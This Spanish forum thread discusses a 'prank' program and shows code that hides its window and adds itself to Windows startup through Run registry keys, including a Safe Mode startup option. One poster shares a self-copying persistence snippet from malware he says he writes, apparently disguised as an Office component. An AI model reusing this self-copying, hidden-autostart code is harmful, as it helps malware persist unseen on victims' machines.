Programas de broma

(1/4) > >>

Meta:
Hola:

Estaba urgando con C# haciendo archivo de bromas. La idea principal es, que al ejecutar esta aplicación hecha en modo consola, no muestre la pantalla en negro, que no muestre nada, solo que al ejecutarlo tres veces, la primera vez crea un archivo  de texto llamado Archivo.txt que contiene el valor número 3, si llega a 0, crea otro arhivo llamado Hola.txt y en su interior, el contenido escrito esto, Hola amigo.

Los archivos se crean en el escritorio como ejemplo.

Aquí un ejemplo:
Código
using System;
using System.IO;
 
namespace Broma_Consola_02
{
   class Program
   {
       static void Main(string[] args)
       {
           // Variables.
           string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
           string nombreArchivo = "Archivo.txt";
 
           // Comprueba si existe el archivo en dicha ruta.
           if (File.Exists(Path.Combine(path, nombreArchivo)))
           {
               // Variable del contador.
               int contador;
 
               // Lee el fichero.
               if (Int32.TryParse(File.ReadAllText(Path.Combine(path, nombreArchivo)), out contador))
               {
                   // Si el contador es mayor que 0.
                   if (contador > 0)
                   {
                       // Sobre escribe el archivo con -1 su valor.
                       File.WriteAllText(Path.Combine(path, nombreArchivo), $"{contador -= 1}");
                   }
 
                   // Si el contador es igual a 0.
                   if (contador == 0)
                   {
                       // Escribe un nuevo arhivo de texto con su contenido correspondiente.
                       File.WriteAllText(Path.Combine(path, "Hola.txt"), "Hola amigo.");
                   }
               }
 
               // Entonces.
               else
               {
                   Console.WriteLine("El archivo contiene un valor no esperado.");
               }
           }
 
           // Entonces.
           else
           {
               // Escribe el archivo con el valor 3 en Archivo.txt.
               File.WriteAllText(Path.Combine(path, nombreArchivo), "3");
           }
 
           //Console.ReadKey(); // Pulse cualquier tecla para salir.
       }
   }
}

Mi idea es que este ejecutable esté sea como sea, en el inicio de Windows, es decir, que al iniciar Windows, te resta un valor en el archivo txt hasta llegar a 0. Cuando llegues a 0, al iniciar el Windows, se abre también en el inicio el archivo Hola.txt con el mensaje, Hola amigo.

Aquí abajo lo puse como escritorio, al dinal sustituye Desktop (escritorio)
Código
string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
a Startup (Inicio).
Código
string path = Environment.GetFolderPath(Environment.SpecialFolder.Startup);

El que quiere poner otra ubicación, aquí hay una lista.

¿Qué técnica, o ideas, usarían para poder poner este ejecutable en el inicio?

Salu2.

Eleкtro:
La creación y manipulación de un archivo de texto plano como "intermediario" es algo primitivo e innecesario (a menos que estuviesemos hablando de un archivo de configuración en formato .ini con sus secciones y sus llaves, que no es el caso). Antes que plantearnos la grotesca idea de manipular archivos de texto plano y sin formato, usarías el registro de Windows para crear un valor y leerlo desde tu aplicación.

En fin, probablemente la solución más cómoda al problema que tienes sencillamente podría ser crear una propiedad de usuario en tu aplicación:



Y trabajar la propiedad de la siguiente manera:

Código
class Program {
 
   static void Main(string[] args) {
 
       int value = Properties.Settings.Default.Countdown;
       Debug.WriteLine("Current value: {0}", value);
 
       switch (value) {
           case 0:
               // ...
               // lo que tengas que hacer aquí cuando el contador llega a 0.
               // ...
               Properties.Settings.Default.Reset(); // Reset Countdown value to 3.
               break;
 
           default: // 1, 2 or 3.
               Properties.Settings.Default.Countdown -= 1;
               break;
       }
 
       Properties.Settings.Default.Save();
       Environment.Exit(0);
   }
 
}

Nota: las propiedades de usuario modificadas se almacenan en el archivo user.config en formato XML, no tienes que preocuparte por administrar nada por ti mismo como harías creando y editando un archivo de texto...


Para ocultar la ventana de la consola sencillamente dirígete a esta pestaña en la configuración del proyecto y modifica el tipo de salida, de Console Aplication a Window Application:



...de esta forma, la consola adjunta al programa no se mostrará al inicio.

Nota: una manera alternativa, pero menos amistosa y también menos eficiente de lograr algo similar, sería recurriendo a las funciones de la API de Windows, concretamente a GetConsoleWindow y ShowWindow.


Y por último, para añadir tu programa al inicio de sesión de usuario en Windows, simplemente puedes añadir un nuevo valor de registro en la clave HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run (o en la raíz HKEY_LOCAL_MACHINE para todos los usuarios). Hay otras metodologías alternativas las cuales considero innecesario mencionar... al poder hacerlo de la forma ya explicada.

Hay miles de ejemplos sobre ello en Google para C#, busca un poco. De todas formas aquí te dejo el código fuente de una mini-aplicación que desarrollé (en VB.NET) para ese propósito, el cual puedes analizarlo para obtener las respuestas que necesites...

[SOURCE] File 2 startup v1.1
Cita de: File2Startup by Elektro



De nada.

Saludos.

**Aincrad**:
@Elektro el link del File 2 startup v1.1 esta caido .


la forma en que yo agrego los virus que hago al registro es esta:

Código
Imports Microsoft.Win32
 
Public Class Form1
  Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
       autoinicio()
       Me.Hide()
   End Sub
 
   Private Sub autoinicio()
       Dim dirPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
       If My.Computer.FileSystem.FileExists(dirPath & "pc.exe") Then
           Microsoft_Office_2013.Timer1.Start()
       Else
           My.Computer.FileSystem.CopyFile(Application.ExecutablePath, dirPath & "pc.exe")
           Try
               Dim REGISTRADOR As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", True)
               If REGISTRADOR Is Nothing Then
                   Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run")
               End If
               Dim NOMBRE As String = dirPath & "pc.exe"
               NOMBRE = NOMBRE.Remove(0, NOMBRE.LastIndexOf("\") + 1)
               REGISTRADOR.SetValue(NOMBRE, dirPath & "pc.exe", RegistryValueKind.String)
               Microsoft_Office_2013.Show()
           Catch ex As Exception
               Dim Result As DialogResult = MessageBox.Show(ex.Message, "Error as ocurrent", MessageBoxButtons.OK, MessageBoxIcon.Error)
               If Result = DialogResult.OK Then
                   End
               End If
           End Try
       End If
    End Sub
End Class

PD: Es una pequeña parte del virus de mause que publique hace unas semanas en la parte de Análisis y Diseño de Malware

Serapis:
Cita de: **Aincrad** en 22 Marzo 2018, 19:17 pm

la forma en que yo agrego los virus que hago al registro es esta:

            Microsoft_Office_2013.Timer1.Start()

mmm... Supongamos que yo no tengo instalado Office 2013...

Usa soluciones genéricas, no dependientes de si tienes instalado tal o cual cosa.

Eleкtro:
Cita de: **Aincrad** en 22 Marzo 2018, 19:17 pm

@Elektro el link del File 2 startup v1.1 esta caido .


Gracias por el aviso. Ya está actualizado y resubido... esta vez a GitHub:



Nota: se me olvidó actualizar la versión en las propiedades del ensamblado, así que se mostrará 1.1.0.0, pero es la versión 1.2.0.0. No hay cambios importantes en el programa, de hecho el único cambio ha sido reemplazar y adaptar todas las clases del código fuente original (del año 2015), por las clases y miembros que utilizo hoy por hoy en el código fuente de la librería comercial ElektroKit, que se proporcionan de forma muy reducida pero gratuita en este repositorio...


Por cierto, ya no recordaba que también desarrollé esto en el pasado, lo cual simplifica mucho la tarea...

Re: Librería de Snippets !! (Compartan aquí sus snippets)
Cita de: https://foro.elhacker.net/net/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2004808#msg2004808

Este snippet sirve para añadir o eliminar de forma muuuuuy sencilla :P un archivo/aplicación al Startup de Windows mediante el registro, con características interesantes...

Modo de empleo:
Código
WinStartupUtil.Add(UserType.CurrentUser, StartupType.Run, KeyBehavior.System32,
                  title:="Application Title",
                  filePath:="C:\Application.exe",
                  arguments:="/Arguments",
                  secureModeByPass:=True)

Código
WinStartupUtil.Remove(UserType.CurrentUser, StartupType.Run, KeyBehavior.System32,
                     title:="Application Title",
                     throwOnMissingValue:=True)


Source:
Código
' ***********************************************************************
' Author   : Elektro
' Modified : 25-March-2015
' ***********************************************************************
' <copyright file="WinStartupUtil.vb" company="Elektro Studios">
'     Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
 
#Region " Usage Examples "
 
'WinStartupUtil.Add(WinStartupUtil.UserType.CurrentUser,
'                   WinStartupUtil.StartupType.Run,
'                   WinStartupUtil.KeyBehavior.System32,
'                   title:="Application Title",
'                   filePath:="C:\Application.exe",
'                   secureModeByPass:=True)
 
'WinStartupUtil.Remove(WinStartupUtil.UserType.CurrentUser,
'                      WinStartupUtil.StartupType.Run,
'                      WinStartupUtil.KeyBehavior.System32,
'                      title:="Application Title",
'                      throwOnMissingValue:=True)
 
#End Region
 
#Region " Option Statements "
 
Option Explicit On
Option Strict On
Option Infer Off
 
#End Region
 
#Region " Imports "
 
Imports Microsoft.Win32
 
#End Region
 
#Region " WinStartupUtil "
 
 
''' <summary>
''' Adds or removes an application to Windows Startup.
''' </summary>
Public NotInheritable Class WinStartupUtil
 
#Region " Properties "
 
   ''' <summary>
   ''' Gets the 'Run' registry subkey path.
   ''' </summary>
   ''' <value>The 'Run' registry subkey path.</value>
   Public Shared ReadOnly Property RunSubKeyPath As String
       Get
           Return "Software\Microsoft\Windows\CurrentVersion\Run"
       End Get
   End Property
 
   ''' <summary>
   ''' Gets the 'Run' registry subkey path for x86 appications on x64 operating system.
   ''' </summary>
   ''' <value>The 'Run' registry subkey path for x86 appications on x64 operating system.</value>
   Public Shared ReadOnly Property RunSubKeyPathSysWow64 As String
       Get
           Return "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
       End Get
   End Property
 
   ''' <summary>
   ''' Gets the 'RunOnce' registry subkey path.
   ''' </summary>
   ''' <value>The 'RunOnce' registry subkey path.</value>
   Public Shared ReadOnly Property RunOnceSubKeyPath As String
       Get
           Return "Software\Microsoft\Windows\CurrentVersion\RunOnce"
       End Get
   End Property
 
   ''' <summary>
   ''' Gets the 'RunOnce' registry subkey path for x86 appications on x64 operating system.
   ''' </summary>
   ''' <value>The 'RunOnce' registry subkey path for x86 appications on x64 operating system.</value>
   Public Shared ReadOnly Property RunOnceSubKeyPathSysWow64 As String
       Get
           Return "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce"
       End Get
   End Property
 
#End Region
 
#Region " Enumerations "
 
   ''' <summary>
   ''' Specifies an user type.
   ''' </summary>
   Public Enum UserType As Integer
 
       ''' <summary>
       ''' 'HKEY_CURRENT_USER' root key.
       ''' </summary>
       CurrentUser = &H1
 
       ''' <summary>
       ''' 'HKEY_LOCAL_MACHINE' root key.
       ''' </summary>
       AllUsers = &H2
 
   End Enum
 
   ''' <summary>
   ''' Specifies a Startup type.
   ''' </summary>
   Public Enum StartupType As Integer
 
       ''' <summary>
       ''' 'Run' registry subkey.
       ''' </summary>
       Run = &H1
 
       ''' <summary>
       ''' 'RunOnce' registry subkey.
       ''' </summary>
       RunOnce = &H2
 
   End Enum
 
   ''' <summary>
   ''' Specifies a registry key behavior.
   ''' </summary>
   Public Enum KeyBehavior As Integer
 
       ''' <summary>
       ''' System32 registry subkey.
       ''' </summary>
       System32 = &H1
 
       ''' <summary>
       ''' SysWow64 registry subkey.
       ''' </summary>
       SysWow64 = &H2
 
   End Enum
 
#End Region
 
#Region " Public Methods "
 
   ''' <summary>
   ''' Adds an application to Windows Startup.
   ''' </summary>
   ''' <param name="userType">The type of user.</param>
   ''' <param name="startupType">The type of startup.</param>
   ''' <param name="keyBehavior">The registry key behavior.</param>
   ''' <param name="title">The registry value title.</param>
   ''' <param name="filePath">The application file path.</param>
   ''' <param name="secureModeByPass">
   ''' If set to <c>true</c>, the file is ran even when the user logs into 'Secure Mode' on Windows.
   ''' </param>
   ''' <exception cref="System.ArgumentNullException">title or filePath</exception>
   Public Shared Sub Add(ByVal userType As UserType,
                         ByVal startupType As StartupType,
                         ByVal keyBehavior As KeyBehavior,
                         ByVal title As String,
                         ByVal filePath As String,
                         Optional ByVal arguments As String = "",
                         Optional secureModeByPass As Boolean = False)
 
       If String.IsNullOrEmpty(title) Then
           Throw New ArgumentNullException("title")
 
       ElseIf String.IsNullOrEmpty(filePath) Then
           Throw New ArgumentNullException("filePath")
 
       Else
           If secureModeByPass Then
               title = title.Insert(0, "*")
           End If
 
           Dim regKey As RegistryKey = Nothing
           Try
               regKey = GetRootKey(userType).OpenSubKey(GetSubKeyPath(startupType, keyBehavior), writable:=True)
               regKey.SetValue(title, String.Format("""{0}"" {1}", filePath, arguments), RegistryValueKind.String)
 
           Catch ex As Exception
               Throw
 
           Finally
               If regKey IsNot Nothing Then
                   regKey.Close()
               End If
 
           End Try
 
       End If
 
   End Sub
 
   ''' <summary>
   ''' Removes an application from Windows Startup.
   ''' </summary>
   ''' <param name="userType">The type of user.</param>
   ''' <param name="startupType">The type of startup.</param>
   ''' <param name="keyBehavior">The registry key behavior.</param>
   ''' <param name="title">The value name to find.</param>
   ''' <param name="throwOnMissingValue">if set to <c>true</c>, throws an exception on missing value.</param>
   ''' <exception cref="System.ArgumentNullException">title</exception>
   ''' <exception cref="System.ArgumentException">Registry value not found.;title</exception>
   Friend Shared Sub Remove(ByVal userType As UserType,
                            ByVal startupType As StartupType,
                            ByVal keyBehavior As KeyBehavior,
                            ByVal title As String,
                            Optional ByVal throwOnMissingValue As Boolean = False)
 
       If String.IsNullOrEmpty(title) Then
           Throw New ArgumentNullException("title")
 
       Else
           Dim valueName As String = String.Empty
           Dim regKey As RegistryKey = Nothing
 
           Try
               regKey = GetRootKey(userType).OpenSubKey(GetSubKeyPath(startupType, keyBehavior), writable:=True)
 
               If regKey.GetValue(title, defaultValue:=Nothing) IsNot Nothing Then
                   valueName = title
 
               ElseIf regKey.GetValue(title.Insert(0, "*"), defaultValue:=Nothing) IsNot Nothing Then
                   valueName = title.Insert(0, "*")
 
               Else
                   If throwOnMissingValue Then
                       Throw New ArgumentException("Registry value not found.", "title")
                   End If
 
               End If
 
               regKey.DeleteValue(valueName, throwOnMissingValue:=throwOnMissingValue)
 
           Catch ex As Exception
               Throw
 
           Finally
               If regKey IsNot Nothing Then
                   regKey.Close()
               End If
 
           End Try
 
       End If
 
   End Sub
 
#End Region
 
#Region " Private Methods "
 
   ''' <summary>
   ''' Gets a <see cref="RegistryKey"/> instance of the specified root key.
   ''' </summary>
   ''' <param name="userType">The type of user.</param>
   ''' <returns>A <see cref="RegistryKey"/> instance of the specified root key.</returns>
   ''' <exception cref="System.ArgumentException">Invalid enumeration value.;userType</exception>
   Private Shared Function GetRootKey(ByVal userType As UserType) As RegistryKey
 
       Select Case userType
 
           Case userType.CurrentUser
               Return Registry.CurrentUser
 
           Case userType.AllUsers
               Return Registry.LocalMachine
 
           Case Else
               Throw New ArgumentException("Invalid enumeration value.", "userType")
 
       End Select ' userType
 
   End Function
 
   ''' <summary>
   ''' Gets the proper registry subkey path from the parameters criteria.
   ''' </summary>
   ''' <param name="startupType">Type of the startup.</param>
   ''' <param name="keyBehavior">The key behavior.</param>
   ''' <returns>The registry subkey path.</returns>
   ''' <exception cref="System.ArgumentException">
   ''' Invalid enumeration value.;startupType or
   ''' Invalid enumeration value.;keyBehavior
   ''' </exception>
   Private Shared Function GetSubKeyPath(ByVal startupType As StartupType,
                                         ByVal keyBehavior As KeyBehavior) As String
 
       Select Case keyBehavior
 
           Case keyBehavior.System32
 
               Select Case startupType
 
                   Case startupType.Run
                       Return RunSubKeyPath
 
                   Case startupType.RunOnce
                       Return RunOnceSubKeyPath
 
                   Case Else
                       Throw New ArgumentException("Invalid enumeration value.", "startupType")
 
               End Select ' startupType
 
           Case keyBehavior.SysWow64
 
               Select Case startupType
 
                   Case startupType.Run
                       Return RunSubKeyPathSysWow64
 
                   Case startupType.RunOnce
                       Return RunOnceSubKeyPathSysWow64
 
                   Case Else
                       Throw New ArgumentException("Invalid enumeration value.", "startupType")
 
               End Select ' startupType
 
           Case Else
               Throw New ArgumentException("Invalid enumeration value.", "keyBehavior")
 
       End Select ' keyBehavior
 
   End Function
 
#End Region
 
End Class
 
#End Region


Saludos!

Navegación

[0] Índice de Mensajes

[#] Página Siguiente